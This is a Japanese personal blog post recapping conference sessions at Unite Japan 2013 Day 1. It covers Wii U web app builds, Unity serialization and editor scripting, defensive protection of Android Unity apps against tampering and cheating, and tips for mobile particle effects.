デモでは、既存のWebページ(動画リストがあって、選択すると再生する)をWii-U向けにビルドしていました。
その時の特徴として、既存コードには一切の手を加えていないというところです。
既存コードにはjQueryやvideoタグなどが含まれていますが、その辺りをうまいことやってくれるようです。
(裏はWebkitが動いているようなので当たり前っちゃあ当たり前っぽい気も)

もう一つのデモとして、同じようにWebページとして作られたゲームがありました。
こちらは、Wii-Uでできることの総集編のようになっており、前述の拡張されたJavaScriptがフルに活かされているようです。
またこのデモはフレームワーク付属のサンプルのようになっており、ソースコードの至るところにコメントがしっかりと付いているとのことです。

最後のデモにベンチマークが出てましたが、これはどうにも比較対象がないのでなんとも。
700くらいのスプライトがでてるけど60fps維持できてますねー、というものでした。

そしてこれまた残念なことに、日本からは個人での開発者登録はできないとのこと。

 

◆ シリアライズ徹底解説

まずなぜシリアライズを行うか。
これはプレイデータの保存やエディタの状態を保存するために行う必要があります。
ここでは、エディタ内に絞った形で講演していました。

・プロジェクトの読み込み
・スクリプトのコンパイル
・ゲームのスタート、ストップ
といったタイミングでシリアライズが行われます。

適当なエディタウィンドウを作って適当にいじって、ゲームのスタート・ストップと行うと、
そのウィンドウ内のデータがシリアライズされてないと吹っ飛びます。

 

intとかfloatとかビルトインの場合は、publicにしたり、privateでもSerializeFieldアトリビュートをつけることで解決します。
自作クラスの場合は、クラス自体にSerializableアトリビュートを付ける必要があります。
この2点を守ればデータのシリアライズが行われます。

また、structsはシリアライズがされないので、シリアライズしたい構造体があるのであれば、クラス化しましょう。

 

ここでシリアライズの問題点として、クラスを参照する場合がでてきます。
同じインスタンスを参照する変数を2つ用意してシリアライズしようとすると、片方しか反映されないとのことです。
なぜならば、それらは別にシリアライズされてしまうからです。

この問題の解決には、ScriptbleObjectを継承したクラスにする必要があります。
その際に、nullチェックやhideFragを使うことで~~

Listなどのリストの場合、簡単なクラス(親クラス型のリストに子クラスのインスタンスを入れるとか"しない")の場合はうまくいきます。

逆に、それらが含まれる場合、そのままでは上手く出来ないので、ファイルを分けて~・・・・

 

シリアライズしたデータ(ScriptableObject?)から、アセットファイルの生成も可能になります。
AssetDatabase.CreateAssetを叩くといいようです。

-----
という具合で、正直よくわからんかったので勉強してきます。。
(英語だったのでよくわからんという点を差し引いても分らなかったとこがありました...)

 

◆ Editorスクリプティング入門

なぜUnityのエディタを拡張するか?という点について、
・他人が触るときに触ってほしくない箇所を隠す
・制約がめんどうなとき("ここはこう設定!"などと定められているなど)
・見やすくする
・編集しやすく、使いやすくする
といった点があり、ここは変えたほうがイイネ、という部分はいじっていきましょう。

では、エディタを拡張が具体的に何ができるか。

 

1つに表示項目の改善があります。
これは例えば2Dゲーム開発でのTransformのZ軸を隠したり、テクスチャの設定欄に小さい窓をつけたり。
メニュー項目を追加したり、シーンビューに追加のハンドルを表示したり、などなど可能性は色々あると思います。
現に、アセットストアに出てる凄い系のものに付属しているエディタちっくなものは、そういった拡張がアツいと思います。

 

もう1つはビルド前後に処理ができるようになります。
具体例こそ示されていませんでしたが、現場の方々であれば色々と必要そうなアレコレをできるのではないかと思います。
最後に、アセット管理における移動や削除の制御ができます。
これらのファイルはこのフォルダ!など、パスに対してマッチングさせて制御するコードを書いていきます。

今回の講演では、主に1つ目。表示項目の改善などについてでした。

(なんだかメモ書きがすごい適当でまったくわからない現象が...)
まとめると、Editorクラスをちゃんと理解しましょう。理解していじらないと最悪Unity毎オチます。
理解した後に、EditorWindowだとか、CustomEditorだとか、シーン/ゲーム/プロジェクト/ヒエラルキーなどへと広げていくといいようです。

余談ですが以前、タワーディフェンス的なサムシングをやろうかと、UnitySteerを使いパス...というか座標を辿るものを使いました。
その時、座標のリストを作るときに、シーンビュー上に"座標の箇所にハンドルを設置してマウスで操作できるように"したらめっちゃ楽でした。

 

◆ Androidでコンテンツを守る方法 -Unity,Androidでのプログラムとデータの暗号化、およびハッキング対策-

セキュリティを最近勉強しはじめている私にとっては今日一番わくわくしていたものです。

まず、Unity on Androidは
Linux | Android | Unity | Mono | Script
という形で、Unityを堺にJavaVMとMonoVMが動いているような。
Unityが何をしているかというと、C#で書かれたスクリプトをJavaへとマッピングを行なっています。

 

よくある?ハックとして課金コンテンツがあります。
これは、AndroidであればGooglePlayLicenseを経由して行われます。

その仕組みは
App -> {random number} -> Google
App <- {message, signature} <- Google
という流れで行われます。
オンライン環境であれば、定期的に確認すればいいのですが、オフライン時にはユーザのデータを信用するしかありません。

また、そのメッセージ・シグネチャを保持するために、アプリのバックエンドにサーバを用意して、
同じような形式でやりとりするのが好ましいようです。

Unity上でこれを実現するには、"GooglePlayLicenseVerification"というライブラリがGithubで公開されているので、
それを使いましょう、とのことです。

 

次にアプリケーションの改竄を検出する方法です。
これは、ゲームコードの変更やチートなどの不正行為を防止するために必要です。

チェックする項目は
・アプリがデベロッパーのプライベートキーで署名がされているか
・Javaコードが正しいか(class.dex)
・Unity/Monoが正しいか(Unityランタイム郡)
・C#コードが正しいか
というものがあります。

詳しくはわからないのですが、こういったことはAndroid開発者の方々には当たり前なのでしょうか。
C#などUnity側からでもJavaのコードを実行できるのでそれで確認しましょう、という具合でした。
(AndroidJavaObjectというクラスが用意されており、それで実行できます)

 

次は暗号化です。

・ゲーム進捗
Unityでは簡単にゲーム進捗を記録できるPlayerPrefsというクラスが用意されています。
そのままではやはり簡単に編集され、メダルXXXXX枚などとされてしまう可能性があります。

これは、key/valueのペアとして記録することに加えて一工夫することで改善できます。
例えばkeyは本来のkeyのハッシュ値、valueには保存するべき値に対してTripleDESなどを掛けるなどを施します。

・スクリプト
スクリプトは暗号化、よりも難読化がメインになります。
ただし、Unityで書けるプログラムは何の変哲も無い普通のC#なので逆コンパイルなどが容易であり、難読化されていても解読は可能です。
Unityのビルドではここに対してなんの暗号化/難読化も掛けられません。
ゲームの根本に関わるような大切なソースコードであれば、自分で暗号化/難読化が必要です。

1つの案としてOpenSSLを使うものがあります。
~.dllとして外部でコンパイルし、それを暗号化して~.binに。これをアセットまたはwebに配置からの通信などを行い、ゲーム内で復号化して実行する。
読み込み部分はAssembry.Loadとリフレクションを使うことで可能になります。

やっぱりこちらもシグネチャの確認は定期的に行ったほうがよいようです。

・アセット
テクスチャやポリゴン、音声やBGMといったメディアだけでなく、上記のような暗号化されたスクリプトやデータベース、プラグインなど、すべてがアセットになります。
これはスクリプトと同様に、~.unity3dを暗号化するのが1つの方法としてあります。
具体的な読み込み方法に関しては特に触れてなかったかと思います。

 

まとめとして、
・APK自体のチェックを怠らない
・重要なコードは自分で保護する(暗号化/難読化)
・様々なアプローチを試行する
・ただしアプリケーションの保護に時間をかけ過ぎない。

この最後の点に関しては、そもそもGooglePlayにアップデートを定期的に早めにリリースするのが良いとされているようなので、
時間をしっかりかけて守るよりも、ぼちぼちな感じでアップデートの方に力をいれたほうがいいよねーみたいな具合でした。

 

◆ モバイル向けShuriken活用法

(これまたメモが凄いメモの役割を果たしていなかったのでさっくりと....)

1.本当にパーティクルが必要か
それはアニメーションテクスチャで出来ないのか。
もっとよい表現方法はないか。

2.そのパーティクルはどう構成されているか
例えば爆発なら火と煙と破片と根本と、4つ?いやいや2つでいけるのでは?
1つのパーティクルに内包されるパーティクルはすべて同じ力を加えなくてはいけない。=> コピペで色やテクスチャのみを変える

3.どのようにパーティクルは流れていくのか
EmitSharpは使わない!Speedも使わない!
-> 表現力が乏しい

ForceとVelocityのカーブを調整して表現する。
このとき、キーフレを追加して、曲線を自由自在に操ることができる。
基本的にはVelocityを使い、力が必要な場合(ex.爆発)でForceを使う

4.パーティクルと一緒にマテリアルを作る
炎のパーティクルを作るなら、火・煙のマテリアルを作りながら、適用しながら。

// 残りはパーティクル作成デモのような形でちょいちょい部分部分の説明があったかと思います。

 


長くなってしまいましたが、Unite Japan 2013 Day1で参加した講演はこのような具合でした。

Wii-UのAngryBotsが企業ブースに置いてありましたが、
まったく触れてなかったので、Day2で触ってみたいと思います。

1 2 3